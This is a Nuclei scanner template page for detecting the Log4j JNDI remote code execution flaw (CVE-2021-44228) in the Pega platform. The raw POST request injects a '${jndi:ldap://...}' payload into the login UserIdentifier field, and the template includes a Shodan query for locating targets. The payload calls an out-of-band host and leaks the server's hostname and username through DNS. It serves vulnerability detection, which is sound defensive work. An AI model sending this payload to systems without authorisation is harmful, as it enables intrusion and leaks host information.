Pega - Remote Code Execution (Apache Log4j)

ID: pega-log4j-rce

Severity: critical

Author: shaikhyaser

Tags: cve,cve2021,rce,jndi,log4j,pega,oast,kev

Description

Pega is susceptible to Log4j JNDI remote code execution. Pega provides a powerful low-code platform that empowers the world’s leading enterprises to Build for Change.

YAML Source

id: pega-log4j-rce

info:
  name: Pega - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: |
    Pega is susceptible to Log4j JNDI remote code execution. Pega provides a powerful low-code platform that empowers the world's leading enterprises to Build for Change.
  reference:
    - https://docs.pega.com/security-advisory/security-advisory-apache-log4j-zero-day-vulnerability
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2021-44228
    cwe-id: CWE-77
    cpe: cpe:2.3:a:pega:platform:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: title:"Pega"
    product: platform
    vendor: pega
  tags: cve,cve2021,rce,jndi,log4j,pega,oast,kev
variables:
  rand1: '{{rand_int(111, 999)}}'
  rand2: '{{rand_int(111, 999)}}'
  str: "{{rand_base(5)}}"

http:
  - raw:
      - |
        GET /prweb/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST {{location}} HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Referer: {{location}}
        Content-Type: application/x-www-form-urlencoded

        pzAuth=guest&UserIdentifier=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&Password=a&pyActivity%3DCode-Security.Login=&lockScreenID=&lockScreenPassword=&newPassword=&confirmNewPassword=

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the DNS Interaction
        words:
          - "dns"

      - type: regex
        part: interactsh_request
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

    extractors:
      - type: kval
        kval:
          - interactsh_ip

      - type: regex
        part: interactsh_request
        group: 2
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: regex
        part: interactsh_request
        group: 1
        regex:
          - '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'

      - type: kval
        name: location
        part: header_1
        kval:
          - location
        internal: true
# digest: 490a00463044022001a6a5bb88f7c828bd0b7e2866b5f461e9a8a4932fdbc3ffb6349287e7a4f5cb0220675540dee56e4c27731b8655d085bcef59b99ecd249c434c6ae9b7bd2f9fa19c:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/other/pega-log4j-rce.yaml"

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